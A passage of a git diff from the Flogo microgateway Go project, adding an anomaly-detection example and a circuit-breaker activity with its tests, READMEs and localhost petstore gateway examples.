+ +You should see the following response: +```json +{ + "complexity": 9.124694, + "error": "anomaly!" +} +``` +The complexity is 9.124694 standard deviations from the mean. Because this is greater than the 3 standard deviation threshold the payload is considered an anomaly. In this scenario the standard deviation threshold was increased until only a small number of anomalies were detected. diff --git a/activity/anomaly/examples/json/anomaly-payload.json b/activity/anomaly/examples/json/anomaly-payload.json new file mode 100644 index 0000000..e02dd36 --- /dev/null +++ b/activity/anomaly/examples/json/anomaly-payload.json @@ -0,0 +1,10 @@ +{ + "alfa": [ + {"alfa": "1"}, + {"bravo": "2"} + ], + "bravo": [ + {"alfa": "3"}, + {"bravo": "4"} + ] +} diff --git a/activity/anomaly/examples/json/flogo.json b/activity/anomaly/examples/json/flogo.json new file mode 100644 index 0000000..309d79f --- /dev/null +++ b/activity/anomaly/examples/json/flogo.json @@ -0,0 +1,104 @@ +{ + "name": "MyProxy", + "type": "flogo:app", + "version": "1.0.0", + "description": "This is a simple proxy.", + "properties": null, + "channels": null, + "triggers": [ + { + "name": "flogo-rest", + "id": "MyProxy", + "ref": "github.com/project-flogo/contrib/trigger/rest", + "settings": { + "port": "9096" + }, + "handlers": [ + { + "settings": { + "method": "PUT", + "path": "/test" + }, + "actions": [ + { + "id": "microgateway:Test" + } + ] + } + ] + } + ], + "resources": [ + { + "id": "microgateway:Test", + "compressed": false, + "data": { + "name": "Update", + "steps": [ + { + "service": "Anomaly", + "input": { + "payload": "=$.payload.content" + } + }, + { + "if": "($.Anomaly.outputs.count < 100) || ($.Anomaly.outputs.complexity < 3)", + "service": "Update", + "input": { + "content": "=$.payload.content" + } + } + ], + "responses": [ + { + "if": "($.Anomaly.outputs.count < 100) || ($.Anomaly.outputs.complexity < 3)", + "error": false, + "output": { + "code": 200, + "data": "=$.Update.outputs.result" + } + }, + { + "error": true, + "output": { + "code": 403, + "data": { + "error": "anomaly!", + "complexity": "=$.Anomaly.outputs.complexity" + } + } + } + ], + "services": [ + { + "name": "Anomaly", + "description": "Look for anomalies", + "ref": "github.com/project-flogo/microgateway/activity/anomaly", + "settings": { + "depth": 3 + } + }, + { + "name": "Update", + "description": "Make calls to test", + "ref": "github.com/project-flogo/contrib/activity/rest", + "settings": { + "uri": "http://localhost:1234/test", + "method": "PUT" + } + } + ] + } + } + ], + "actions": [ + { + "ref": "github.com/project-flogo/microgateway", + "settings": { + "uri": "microgateway:Test" + }, + "id": "microgateway:Test", + "metadata": null + } + ] +} diff --git a/activity/anomaly/examples/json/support/main.go b/activity/anomaly/examples/json/support/main.go new file mode 100644 index 0000000..4e03c76 --- /dev/null +++ b/activity/anomaly/examples/json/support/main.go @@ -0,0 +1,132 @@ +package main + +import ( + "bytes" + "encoding/json" + "flag" + "fmt" + "html" + "io/ioutil" + "math" + "math/rand" + "net/http" +) + +func generateRandomJSON(rnd *rand.Rand) map[string]interface{} { + sample := func(stddev float64) int { + return int(math.Abs(rnd.NormFloat64()) * stddev) + } + sampleCount := func() int { + return sample(1) + 1 + } + sampleName := func() string { + const symbols = 'z' - 'a' + s := sample(8) + if s > symbols { + s = symbols + } + return string('a' + s) + } + sampleValue := func() string { + value := sampleName() + return value + value + } + sampleDepth := func() int { + return sample(3) + } + var generate func(hash map[string]interface{}, depth int) + generate = func(hash map[string]interface{}, depth int) { + count := sampleCount() + if depth > sampleDepth() { + for i := 0; i < count; i++ { + hash[sampleName()] = sampleValue() + } + return + } + for i := 0; i < count; i++ { + array := make([]interface{}, sampleCount()) + for j := range array { + sub := make(map[string]interface{}) + generate(sub, depth+1) + array[j] = sub + } + hash[sampleName()] = array + } + } + object := make(map[string]interface{}) + generate(object, 0) + return object +} + +var ( + server = flag.Bool("server", false, "run the test server") + client = flag.Bool("client", false, "run the test client") +) + +// Response is a reply form the server +type Response struct { + Error string `json:"error"` + Complexity float64 `json:"complexity"` +} + +func main() { + flag.Parse() + + if *client { + count, sum := 0, 0.0 + rnd := rand.New(rand.NewSource(1)) + client := &http.Client{} + for i := 0; i < 1024; i++ { + data, err := json.Marshal(generateRandomJSON(rnd)) + if err != nil { + panic(err) + } + req, err := http.NewRequest(http.MethodPut, "http://localhost:9096/test", bytes.NewReader(data)) + if err != nil { + panic(err) + } + response, err := client.Do(req) + if err != nil { + panic(err) + } + body, err := ioutil.ReadAll(response.Body) + if err != nil { + panic(err) + } + response.Body.Close() + rsp := Response{} + fmt.Println("body", string(body)) + err = json.Unmarshal(body, &rsp) + if err != nil { + panic(err) + } + if rsp.Error == "anomaly!" { + count++ + } + sum += rsp.Complexity + } + fmt.Println("number of anomalies", count) + fmt.Println("average complexity", sum/float64(count)) + } + + if *server { + http.HandleFunc("/test", func(w http.ResponseWriter, r *http.Request) { + fmt.Printf("url: %q\n", html.EscapeString(r.URL.Path)) + defer r.Body.Close() + body, err := ioutil.ReadAll(r.Body) + if err != nil { + panic(err) + } + fmt.Println(string(body)) + _, err = w.Write(body) + if err != nil { + panic(err) + } + }) + + err := http.ListenAndServe(":1234", nil) + if err != nil { + panic(err) + } + } +} diff --git a/activity/anomaly/metadata.go b/activity/anomaly/metadata.go new file mode 100644 index 0000000..ddb0f79 --- /dev/null +++ b/activity/anomaly/metadata.go @@ -0,0 +1,50 @@ +package anomaly + +import ( + "github.com/project-flogo/core/data/coerce" +) + +type Settings struct { + Depth int `md:"depth"` +} + +type Input struct { + Payload interface{} `md:"payload"` +} + +func (r *Input) FromMap(values map[string]interface{}) error { + r.Payload = values["payload"] + return nil +} + +func (r *Input) ToMap() map[string]interface{} { + return map[string]interface{}{ + "payload": r.Payload, + } +} + +type Output struct { + Complexity float32 `md:"complexity"` + Count int `"md:"count` +} + +func (o *Output) FromMap(values map[string]interface{}) error { + complexity, err := coerce.ToFloat32(values["complexity"]) + if err != nil { + return err + } + o.Complexity = complexity + count, err := coerce.ToInt(values["count"]) + if err != nil { + return err + } + o.Count = count + return nil +} + +func (o *Output) ToMap() map[string]interface{} { + return map[string]interface{}{ + "complexity": o.Complexity, + "count": o.Count, + } +} diff --git a/activity/circuitbreaker/README.md b/activity/circuitbreaker/README.md new file mode 100644 index 0000000..79f3a6c --- /dev/null +++ b/activity/circuitbreaker/README.md @@ -0,0 +1,81 @@ +# Circuit Breaker + +The circuit breaker prevents the calling of a service when that service has failed in the past. How the circuit breaker is tripped depends on the mode of operation. There are four modes of operation: contiguous errors, errors within a time period, contiguous errors within a time period, and smart circuit breaker mode. + +The available service `settings` are as follows: + +| Name | Type | Description | +|:-----------|:--------|:--------------| +| mode | string | The tripping mode: 'a' for contiguous errors, 'b' for errors within a time period, 'c' for contiguous errors within a time period, and 'd' for a probabilistic smart circuit breaker mode. Defaults to mode 'a' | +| threshold | number | The number of errors required for tripping. Defaults to 5 errors | +| period | number | Number of seconds in which errors have to occur for the circuit breaker to trip. Applies to modes 'b' and 'c'. Defaults to 60 seconds | +| timeout | number | Number of seconds that the circuit breaker will remain tripped. Applies to modes 'a', 'b', 'c'. Defaults to 60 seconds | + +The available `input` for the request are as follows: + +| Name | Type | Description | +|:-----------|:--------|:--------------| +| operation | string | An operation to perform: '' for protecting a service, 'counter' for processing errors, and 'reset' for processing non-errors. Defaults to '' | + +The available response `outputs` are as follows: + +| Name | Type | Description | +|:-----------|:--------|:--------------| +| tripped | boolean | The state of the circuit breaker | + +A sample `service` definition is: + +```json +{ + "name": "CircuitBreaker", + "description": "Circuit breaker service", + "ref": "github.com/project-flogo/microgateway/activity/circuitbreaker", + "settings": { + "mode": "a" + } +} +``` + +An example series of `step` that invokes the above `CircuitBreaker` service: + +```json +{ + "service": "CircuitBreaker" +}, +{ + "service": "PetStorePets", + "input": { + "method": "GET" + }, + "halt": "($.PetStorePets.error != nil) && !error.isneterror($.PetStorePets.error)" +}, +{ + "if": "$.PetStorePets.error != nil", + "service": "CircuitBreaker", + "input": { + "operation": "counter" + } +}, +{ + "if": "$.PetStorePets.error == nil", + "service": "CircuitBreaker", + "input": { + "operation": "reset" + } +} +``` + +Utilizing the response values can be seen in a response handler: + +```json +{ + "if": "$.CircuitBreaker.outputs.tripped == true", + "error": true, + "output": { + "code": 403, + "data": { + "error": "circuit breaker tripped" + } + } +} +``` diff --git a/activity/circuitbreaker/activity.go b/activity/circuitbreaker/activity.go new file mode 100644 index 0000000..ba018ec --- /dev/null +++ b/activity/circuitbreaker/activity.go @@ -0,0 +1,221 @@ +package circuitbreaker + +import ( + "errors" + "math" + "math/rand" + "sync" + "time" + + "github.com/project-flogo/core/activity" + "github.com/project-flogo/core/data/metadata" +) + +const ( + // CircuitBreakerModeA triggers the circuit breaker when there are contiguous errors + CircuitBreakerModeA = "a" + // CircuitBreakerModeB triggers the circuit breaker when there are errors over time + CircuitBreakerModeB = "b" + // CircuitBreakerModeC triggers the circuit breaker when there are contiguous errors over time + CircuitBreakerModeC = "c" + // CircuitBreakerModeD is a probabilistic smart circuit breaker + CircuitBreakerModeD = "d" + // CircuitBreakerFailure is a failure + CircuitBreakerFailure = -1.0 + // CircuitBreakerUnknown is an onknown status + CircuitBreakerUnknown = 0.0 + // CircuitBreakerSuccess is a success + CircuitBreakerSuccess = 1.0 +) + +func init() { + activity.Register(&Activity{}, New) +} + +var ( + // ErrorCircuitBreakerTripped happens when the circuit breaker has tripped + ErrorCircuitBreakerTripped = errors.New("circuit breaker tripped") + activityMetadata = activity.ToMetadata(&Settings{}, &Input{}, &Output{}) + now = time.Now +) + +func New(ctx activity.InitContext) (activity.Activity, error) { + settings := Settings{ + Mode: CircuitBreakerModeA, + Threshold: 5, + Period: 60, + Timeout: 60, + } + err := metadata.MapToStruct(ctx.Settings(), &settings, true) + if err != nil { + return nil, err + } + + logger := ctx.Logger() + logger.Debugf("Setting: %b", settings) + + buffer := make([]Record, settings.Threshold) + for i := range buffer { + buffer[i].Weight = CircuitBreakerSuccess + } + act := &Activity{ + mode: settings.Mode, + threshold: settings.Threshold, + period: time.Duration(settings.Period) * time.Second, + timeout: time.Duration(settings.Timeout) * time.Second, + context: Context{ + buffer: buffer, + }, + } + + return act, nil +} + +// Record is a record of a request +type Record struct { + Weight float64 + Stamp time.Time +} + +// CircuitBreakerContext is a circuit breaker context +type Context struct { + counter int + processed uint64 + timeout time.Time + index int + buffer []Record + tripped bool + sync.RWMutex +} + +type Activity struct { + mode string `json:"mode"` + threshold int `json:"threshold"` + period time.Duration `json:"period"` + timeout time.Duration `json:"timeout"` + context Context +} + +// Metadata return the metadata for the activity +func (a *Activity) Metadata() *activity.Metadata { + return activityMetadata +} + +// Eval executes the activity +func (a *Activity) Eval(ctx activity.Context) (done bool, err error) { + input := Input{} + err = ctx.GetInputObject(&input) + if err != nil { + return false, err + } + + context, now, tripped := &a.context, now(), false + switch input.Operation { + case "counter": + context.Lock() + if context.timeout.Sub(now) > 0 { + context.Unlock() + break + } + context.counter++ + context.AddRecord(CircuitBreakerFailure, now) + if context.tripped { + context.Trip(now, a.timeout) + context.Unlock() + break + } + switch a.mode { + case CircuitBreakerModeA: + if context.counter >= a.threshold { + context.Trip(now, a.timeout) + } + case CircuitBreakerModeB: + if context.processed < uint64(a.threshold) { + break + } + if now.Sub(context.buffer[context.index].Stamp) < a.period { + context.Trip(now, a.timeout) + } + case CircuitBreakerModeC: + if context.processed < uint64(a.threshold) { + break + } + if context.counter >= a.threshold && + now.Sub(context.buffer[context.index].Stamp) < a.period { + context.Trip(now, a.timeout) + } + } + context.Unlock() + case "reset": + context.Lock() + switch a.mode { + case CircuitBreakerModeA, CircuitBreakerModeB, CircuitBreakerModeC: + if context.timeout.Sub(now) <= 0 { + context.counter = 0 + context.tripped = false + } + case CircuitBreakerModeD: + context.AddRecord(CircuitBreakerSuccess, now) + } + context.Unlock() + default: + switch a.mode { + case CircuitBreakerModeA, CircuitBreakerModeB, CircuitBreakerModeC: + context.RLock() + timeout := context.timeout + context.RUnlock() + if timeout.Sub(now) > 0 { + tripped = true + } + case CircuitBreakerModeD: + context.RLock() + p := context.Probability(now) + context.RUnlock() + if rand.Float64()*1000 < math.Floor(p*1000) { + context.Lock() + context.AddRecord(CircuitBreakerUnknown, now) + context.Unlock() + tripped = true + } + } + } + + output := Output{Tripped: tripped} + err = ctx.SetOutputObject(&output) + if err != nil { + return false, err + } + + if tripped { + return true, ErrorCircuitBreakerTripped + } + + return true, nil +} + +// Trip trips the circuit breaker +func (c *Context) Trip(now time.Time, timeout time.Duration) { + c.timeout = now.Add(timeout) + c.counter = 0 + c.tripped = true +} + +func (c *Context) AddRecord(weight float64, now time.Time) { + c.processed++ + c.buffer[c.index].Weight = weight + c.buffer[c.index].Stamp = now + c.index = (c.index + 1) % len(c.buffer) +} + +// Probability computes the probability for mode d +func (c *Context) Probability(now time.Time) float64 { + records, factor, sum := c.buffer, 0.0, 0.0 + max := float64(now.Sub(records[c.index].Stamp)) + for _, record := range records { + a := math.Exp(-float64(now.Sub(record.Stamp)) / max) + factor += a + sum += record.Weight * a + } + sum /= factor + return 1 / (1 + math.Exp(8*sum)) +} diff --git a/activity/circuitbreaker/activity_test.go b/activity/circuitbreaker/activity_test.go new file mode 100644 index 0000000..c1708e6 --- /dev/null +++ b/activity/circuitbreaker/activity_test.go @@ -0,0 +1,325 @@ +package circuitbreaker + +import ( + "math" + "math/rand" + "testing" + "time" + + "github.com/project-flogo/core/activity" + "github.com/project-flogo/core/data" + "github.com/project-flogo/core/data/mapper" + "github.com/project-flogo/core/data/metadata" + logger "github.com/project-flogo/core/support/log" + "github.com/stretchr/testify/assert" +) + +type initContext struct { + settings map[string]interface{} +} + +func newInitContext(values map[string]interface{}) *initContext { + if values == nil { + values = make(map[string]interface{}) + } + return &initContext{ + settings: values, + } +} + +func (i *initContext) Settings() map[string]interface{} { + return i.settings +} + +func (i *initContext) MapperFactory() mapper.Factory { + return nil +} + +func (i *initContext) Logger() logger.Logger { + return logger.RootLogger() +} + +type activityContext struct { + input map[string]interface{} + output map[string]interface{} +} + +func newActivityContext(values map[string]interface{}) *activityContext { + if values == nil { + values = make(map[string]interface{}) + } + return &activityContext{ + input: values, + output: make(map[string]interface{}), + } +} + +func (a *activityContext) ActivityHost() activity.Host { + return a +} + +func (a *activityContext) Name() string { + return "test" +} + +func (a *activityContext) GetInput(name string) interface{} { + return a.input[name] +} + +func (a *activityContext) SetOutput(name string, value interface{}) error { + a.output[name] = value + return nil +} + +func (a *activityContext) GetInputObject(input data.StructValue) error { + return input.FromMap(a.input) +} + +func (a *activityContext) SetOutputObject(output data.StructValue) error { + a.output = output.ToMap() + return nil +} + +func (a *activityContext) GetSharedTempData() map[string]interface{} { + return nil +} + +func (a *activityContext) ID() string { + return "test" +} + +func (a *activityContext) IOMetadata() *metadata.IOMetadata { + return nil +} + +func (a *activityContext) Reply(replyData map[string]interface{}, err error) { + +} + +func (a *activityContext) Return(returnData map[string]interface{}, err error) { + +} + +func (a *activityContext) Scope() data.Scope { + return nil +} + +func (a *activityContext) Logger() logger.Logger { + return logger.RootLogger() +} + +func TestCircuitBreakerModeA(t *testing.T) { + rand.Seed(1) + clock := time.Unix(1533930608, 0) + now = func() time.Time { + now := clock + clock = clock.Add(time.Duration(rand.Intn(2)+1) * time.Second) + return now + } + defer func() { + now = time.Now + }() + + activity, err := New(newInitContext(nil)) + assert.Nil(t, err) + execute := func(serviceName string, values map[string]interface{}, should error) { + _, err := activity.Eval(newActivityContext(values)) + assert.Equal(t, should, err) + } + + for i := 0; i < 4; i++ { + execute("reset", nil, nil) + execute("reset", map[string]interface{}{"operation": "counter"}, nil) + } + + execute("reset", nil, nil) + execute("reset", map[string]interface{}{"operation": "reset"}, nil) + + for i := 0; i < 5; i++ { + execute("reset", nil, nil) + execute("reset", map[string]interface{}{"operation": "counter"}, nil) + } + + execute("reset", nil, ErrorCircuitBreakerTripped) + + clock = clock.Add(60 * time.Second) + + execute("reset", nil, nil) + execute("reset", map[string]interface{}{"operation": "counter"}, nil) + + execute("reset", nil, ErrorCircuitBreakerTripped) + + clock = clock.Add(60 * time.Second) + + execute("reset", nil, nil) +} + +func TestCircuitBreakerModeB(t *testing.T) { + rand.Seed(1) + clock := time.Unix(1533930608, 0) + now = func() time.Time { + now := clock + clock = clock.Add(time.Duration(rand.Intn(2)+1) * time.Second) + return now + } + defer func() { + now = time.Now + }() + + activity, err := New(newInitContext(map[string]interface{}{ + "mode": CircuitBreakerModeB, + })) + assert.Nil(t, err) + execute := func(serviceName string, values map[string]interface{}, should error) { + _, err := activity.Eval(newActivityContext(values)) + assert.Equal(t, should, err) + } + + for i := 0; i < 4; i++ { + execute("reset", nil, nil) + execute("reset", map[string]interface{}{"operation": "counter"}, nil) + } + + clock = clock.Add(60 * time.Second) + + for i := 0; i < 5; i++ { + execute("reset", nil, nil) + execute("reset", map[string]interface{}{"operation": "counter"}, nil) + } + + execute("reset", nil, ErrorCircuitBreakerTripped) + + clock = clock.Add(60 * time.Second) + + execute("reset", nil, nil) + execute("reset", map[string]interface{}{"operation": "counter"}, nil) + + execute("reset", nil, ErrorCircuitBreakerTripped) + + clock = clock.Add(60 * time.Second) + + execute("reset", nil, nil) +} + +func TestCircuitBreakerModeC(t *testing.T) { + rand.Seed(1) + clock := time.Unix(1533930608, 0) + now = func() time.Time { + now := clock + clock = clock.Add(time.Duration(rand.Intn(2)+1) * time.Second) + return now + } + defer func() { + now = time.Now + }() + + activity, err := New(newInitContext(map[string]interface{}{ + "mode": CircuitBreakerModeC, + })) + assert.Nil(t, err) + execute := func(serviceName string, values map[string]interface{}, should error) { + _, err := activity.Eval(newActivityContext(values)) + assert.Equal(t, should, err) + } + + for i := 0; i < 4; i++ { + execute("reset", nil, nil) + execute("reset", map[string]interface{}{"operation": "counter"}, nil) + } + + clock = clock.Add(60 * time.Second) + + for i := 0; i < 4; i++ { + execute("reset", nil, nil) + execute("reset", map[string]interface{}{"operation": "counter"}, nil) + } + + execute("reset", nil, nil) + execute("reset", map[string]interface{}{"operation": "reset"}, nil) + + for i := 0; i < 5; i++ { + execute("reset", nil, nil) + execute("reset", map[string]interface{}{"operation": "counter"}, nil) + } + + execute("reset", nil, ErrorCircuitBreakerTripped) + + clock = clock.Add(60 * time.Second) + + execute("reset", nil, nil) + execute("reset", map[string]interface{}{"operation": "counter"}, nil) + + execute("reset", nil, ErrorCircuitBreakerTripped) + + clock = clock.Add(60 * time.Second) + + execute("reset", nil, nil) +} + +func TestCircuitBreakerModeD(t *testing.T) { + rand.Seed(1) + clock := time.Unix(1533930608, 0) + now = func() time.Time { + now := clock + clock = clock.Add(time.Duration(rand.Intn(2)+1) * time.Second) + return now + } + defer func() { + now = time.Now + }() + + activity, err := New(newInitContext(map[string]interface{}{ + "mode": CircuitBreakerModeD, + })) + assert.Nil(t, err) + execute := func(serviceName string, values map[string]interface{}, should error) error { + _, err := activity.Eval(newActivityContext(values)) + assert.Equal(t, should, err) + return err + } + + for i := 0; i < 100; i++ { + execute("reset", nil, nil) + execute("reset", map[string]interface{}{"operation": "reset"}, nil) + } + p := activity.(*Activity).context.Probability(now()) + assert.Equal(t, 0.0, math.Floor(p*100)) + + type Test struct { + a, b error + } + tests := []Test{ + {nil, nil}, + {nil, nil}, + {ErrorCircuitBreakerTripped, nil}, + {ErrorCircuitBreakerTripped, nil}, + {nil, nil}, + {ErrorCircuitBreakerTripped, nil}, + {ErrorCircuitBreakerTripped, nil}, + {ErrorCircuitBreakerTripped, nil}, + } + for _, test := range tests { + err := execute("reset", nil, test.a) + if err != nil { + continue + } + execute("reset", map[string]interface{}{"operation": "counter"}, test.b) + } + + tests = []Test{ + {nil, nil}, + {nil, nil}, + {nil, nil}, + {nil, nil}, + {nil, nil}, + } + for _, test := range tests { + err := execute("reset", nil, test.a) + if err != nil { + continue + } + execute("reset", map[string]interface{}{"operation": "reset"}, test.b) + } + p = activity.(*Activity).context.Probability(now()) + assert.Equal(t, 0.0, math.Floor(p*100)) +} diff --git a/activity/circuitbreaker/examples/api/README.md b/activity/circuitbreaker/examples/api/README.md new file mode 100644 index 0000000..d467549 --- /dev/null +++ b/activity/circuitbreaker/examples/api/README.md @@ -0,0 +1,105 @@ +# Gateway with a circuit breaker +This recipe is a gateway with a service protected by a circuit breaker. + +## Installation +* Install [Go](https://golang.org/) + +## Setup +``` +git clone https://github.com/project-flogo/microgateway +cd microgateway/activity/circuitbreaker/examples/api +``` + +## Testing +Start the gateway: +``` +go run main.go +``` +and test below scenario. + +### Circuit breaker gets tripped +Start the gateway target service in a new terminal: +``` +go run server/main.go -server +``` + +Now run the following in a new terminal: +``` +curl http://localhost:9096/pets/1 +``` + +You should see the following response: +```json +{ + "pet": { + "category": { + "id": 0, + "name": "string" + }, + "id": 1, + "name": "sally", + "photoUrls": [ + "string" + ], + "status": "available", + "tags": [ + { + "id": 0, + "name": "string" + } + ] + }, + "status": "available" +} +``` +The target service is in a working state. + +Now simulate a service failure by stopping the target service, and then run the following command 6 times: +``` +curl http://localhost:9096/pets/1 +``` + +You should see the below response 5 times: +```json +{ + "error": "connection failure" +} +``` +Followed by: +```json +{ + "error": "circuit breaker tripped" +} +``` +The circuit breaker is now in the tripped state. + +Start the gateway target service back up and wait at least one minute. After waiting at least one minute run the following command: +``` +curl http://localhost:9096/pets/1 +``` + +You should see the following response: +```json +{ + "pet": { + "category": { + "id": 0, + "name": "string" + }, + "id": 1, + "name": "sally", + "photoUrls": [ + "string" + ], + "status": "available", + "tags": [ + { + "id": 0, + "name": "string" + } + ] + }, + "status": "available" +} +``` +The circuit breaker is no longer in the tripped state, and the target service is working. diff --git a/activity/circuitbreaker/examples/api/main.go b/activity/circuitbreaker/examples/api/main.go new file mode 100644 index 0000000..514b3b0 --- /dev/null +++ b/activity/circuitbreaker/examples/api/main.go @@ -0,0 +1,88 @@ +package main + +import ( + "github.com/project-flogo/contrib/activity/rest" + trigger "github.com/project-flogo/contrib/trigger/rest" + "github.com/project-flogo/core/api" + "github.com/project-flogo/core/engine" + "github.com/project-flogo/microgateway" + "github.com/project-flogo/microgateway/activity/circuitbreaker" + microapi "github.com/project-flogo/microgateway/api" +) + +func main() { + app := api.NewApp() + + gateway := microapi.New("Pets") + + serviceCircuitBreaker := gateway.NewService("CircuitBreaker", &circuitbreaker.Activity{}) + serviceCircuitBreaker.SetDescription("Circuit breaker service") + serviceCircuitBreaker.AddSetting("mode", "a") + + serviceStore := gateway.NewService("PetStorePets", &rest.Activity{}) + serviceStore.SetDescription("Get pets by ID from the petstore") + serviceStore.AddSetting("uri", "http://localhost:1234/pets") + serviceStore.AddSetting("method", "GET") + + gateway.NewStep(serviceCircuitBreaker) + step := gateway.NewStep(serviceStore) + step.SetHalt("($.PetStorePets.error != nil) && !error.isneterror($.PetStorePets.error)") + step = gateway.NewStep(serviceCircuitBreaker) + step.SetIf("$.PetStorePets.error != nil") + step.AddInput("operation", "counter") + step = gateway.NewStep(serviceCircuitBreaker) + step.SetIf("$.PetStorePets.error == nil") + step.AddInput("operation", "reset") + + response := gateway.NewResponse(true) + response.SetIf("$.CircuitBreaker.outputs.tripped == true") + response.SetCode(403) + response.SetData(map[string]interface{}{ + "error": "circuit breaker tripped", + }) + response = gateway.NewResponse(true) + response.SetIf("$.PetStorePets.outputs.result.status != 'available'") + response.SetCode(403) + response.SetData(map[string]interface{}{ + "error": "Pet is unavailable", + "pet": "=$.PetStorePets.outputs.result", + "status": "=$.PetStorePets.outputs.result.status", + }) + response = gateway.NewResponse(false) + response.SetIf("$.PetStorePets.outputs.result.status == 'available'") + response.SetCode(200) + response.SetData(map[string]interface{}{ + "pet": "=$.PetStorePets.outputs.result", + "status": "=$.PetStorePets.outputs.result.status", + }) + response = gateway.NewResponse(true) + response.SetCode(403) + response.SetData(map[string]interface{}{ + "error": "connection failure", + }) + + settings, err := gateway.AddResource(app) + if err != nil { + panic(err) + } + + trg := app.NewTrigger(&trigger.Trigger{}, &trigger.Settings{Port: 9096}) + handler, err := trg.NewHandler(&trigger.HandlerSettings{ + Method: "GET", + Path: "/pets/:petId", + }) + if err != nil { + panic(err) + } + + _, err = handler.NewAction(µgateway.Action{}, settings) + if err != nil { + panic(err) + } + + e, err := api.NewEngine(app) + if err != nil { + panic(err) + } + engine.RunEngine(e) +} diff --git a/activity/circuitbreaker/examples/api/server/main.go b/activity/circuitbreaker/examples/api/server/main.go new file mode 100644 index 0000000..97132c3 --- /dev/null +++ b/activity/circuitbreaker/examples/api/server/main.go @@ -0,0 +1,56 @@ +package main + +import ( + "flag" + "fmt" + "html" + "io/ioutil" + "net/http" + "time" +) + +var ( + server = flag.Bool("server", false, "run the test server") + slow = flag.Bool("slow", false, "simulate a slow server") +) + +const reply = `{ + "id": 1, + "category": { + "id": 0, + "name": "string" + }, + "name": "sally", + "photoUrls": ["string"], + "tags": [{ "id": 0,"name": "string" }], + "status":"available" +}` + +func main() { + flag.Parse() + + if *server { + http.HandleFunc("/pets", func(w http.ResponseWriter, r *http.Request) { + fmt.Printf("url: %q\n", html.EscapeString(r.URL.Path)) + defer r.Body.Close() + body, err := ioutil.ReadAll(r.Body) + if err != nil { + panic(err) + } + fmt.Println(string(body)) + if *slow { + time.Sleep(10 * time.Second) + } + w.Header().Set("Content-Type", "application/json") + _, err = w.Write([]byte(reply)) + if err != nil { + panic(err) + } + }) + + err := http.ListenAndServe(":1234", nil) + if err != nil { + panic(err) + } + } +} diff --git a/activity/circuitbreaker/examples/json/README.md b/activity/circuitbreaker/examples/json/README.md new file mode 100644 index 0000000..7df1cf7 --- /dev/null +++ b/activity/circuitbreaker/examples/json/README.md @@ -0,0 +1,114 @@ +# Gateway with a circuit breaker +This recipe is a gateway with a service protected by a circuit breaker. + +## Installation +* Install [Go](https://golang.org/) +* Install the flogo [cli](https://github.com/project-flogo/cli) + +## Setup +``` +git clone https://github.com/project-flogo/microgateway +cd microgateway/activity/circuitbreaker/examples/json +``` +Place the Downloaded Mashling-Gateway binary in circuit-breaker-gateway folder. + +## Testing +Create the gateway: +``` +flogo create -f flogo.json +cd MyProxy +flogo build +``` + +Start the gateway: +``` +bin/MyProxy +``` +and test below scenario. + +### Circuit breaker gets tripped +Start the gateway target service in a new terminal: +``` +go run server/main.go -server +``` + +Now run the following in a new terminal: +``` +curl http://localhost:9096/pets/1 +``` + +You should see the following response: +```json +{ + "pet": { + "category": { + "id": 0, + "name": "string" + }, + "id": 1, + "name": "sally", + "photoUrls": [ + "string" + ], + "status": "available", + "tags": [ + { + "id": 0, + "name": "string" + } + ] + }, + "status": "available" +} +``` +The target service is in a working state. + +Now simulate a service failure by stopping the target service, and then run the following command 6 times: +``` +curl http://localhost:9096/pets/1 +``` + +You should see the below response 5 times: +```json +{ + "error": "connection failure" +} +``` +Followed by: +```json +{ + "error": "circuit breaker tripped" +} +``` +The circuit breaker is now in the tripped state. + +Start the gateway target service back up and wait at least one minute. After waiting at least one minute run the following command: +``` +curl http://localhost:9096/pets/1 +``` + +You should see the following response: +```json +{ + "pet": { + "category": { + "id": 0, + "name": "string" + }, + "id": 1, + "name": "sally", + "photoUrls": [ + "string" + ], + "status": "available", + "tags": [ + { + "id": 0, + "name": "string" + } + ] + }, + "status": "available" +} +``` +The circuit breaker is no longer in the tripped state, and the target service is working. diff --git a/activity/circuitbreaker/examples/json/flogo.json b/activity/circuitbreaker/examples/json/flogo.json new file mode 100644 index 0000000..6521f13 --- /dev/null +++ b/activity/circuitbreaker/examples/json/flogo.json @@ -0,0 +1,136 @@ +{ + "name": "MyProxy", + "type": "flogo:app", + "version": "1.0.0", + "description": "This is a simple proxy.", + "properties": null, + "channels": null, + "triggers": [ + { + "name": "flogo-rest", + "id": "MyProxy", + "ref": "github.com/project-flogo/contrib/trigger/rest", + "settings": { + "port": "9096" + }, + "handlers": [ + { + "settings": { + "method": "GET", + "path": "/pets/:petId" + }, + "actions": [ + { + "id": "microgateway:Pets" + } + ] + } + ] + } + ], + "resources": [ + { + "id": "microgateway:Pets", + "compressed": false, + "data": { + "name": "Pets", + "steps": [ + { + "service": "CircuitBreaker" + }, + { + "service": "PetStorePets", + "halt": "($.PetStorePets.error != nil) && !error.isneterror($.PetStorePets.error)" + }, + { + "if": "$.PetStorePets.error != nil", + "service": "CircuitBreaker", + "input": { + "operation": "counter" + } + }, + { + "if": "$.PetStorePets.error == nil", + "service": "CircuitBreaker", + "input": { + "operation": "reset" + } + } + ], + "responses": [ + { + "if": "$.CircuitBreaker.outputs.tripped == true", + "error": true, + "output": { + "code": 403, + "data": { + "error": "circuit breaker tripped" + } + } + }, + { + "if": "$.PetStorePets.outputs.result.status != 'available'", + "error": true, + "output": { + "code": 403, + "data": { + "error": "Pet is unavailable", + "pet": "=$.PetStorePets.outputs.result", + "status": "=$.PetStorePets.outputs.result.status" + } + } + }, + { + "if": "$.PetStorePets.outputs.result.status == 'available'", + "error": false, + "output": { + "code": 200, + "data": { + "pet": "=$.PetStorePets.outputs.result", + "status": "=$.PetStorePets.outputs.result.status" + } + } + }, + { + "error": true, + "output": { + "code": 403, + "data": { + "error": "connection failure" + } + } + } + ], + "services": [ + { + "name": "CircuitBreaker", + "description": "Circuit breaker service", + "ref": "github.com/project-flogo/microgateway/activity/circuitbreaker", + "settings": { + "mode": "a" + } + }, + { + "name": "PetStorePets", + "description": "Get pets by ID from the petstore", + "ref": "github.com/project-flogo/contrib/activity/rest", + "settings": { + "uri": "http://localhost:1234/pets", + "method": "GET" + } + } + ] + } + } + ], + "actions": [ + { + "ref": "github.com/project-flogo/microgateway", + "settings": { + "uri": "microgateway:Pets" + }, + "id": "microgateway:Pets", + "metadata": null + } + ] +} diff --git a/activity/circuitbreaker/examples/json/server/main.go b/activity/circuitbreaker/examples/json/server/main.go new file mode 100644 index 0000000..97132c3 --- /dev/null +++ b/activity/circuitbreaker/examples/json/server/main.go @@ -0,0 +1,56 @@ +package main + +import ( + "flag" + "fmt" + 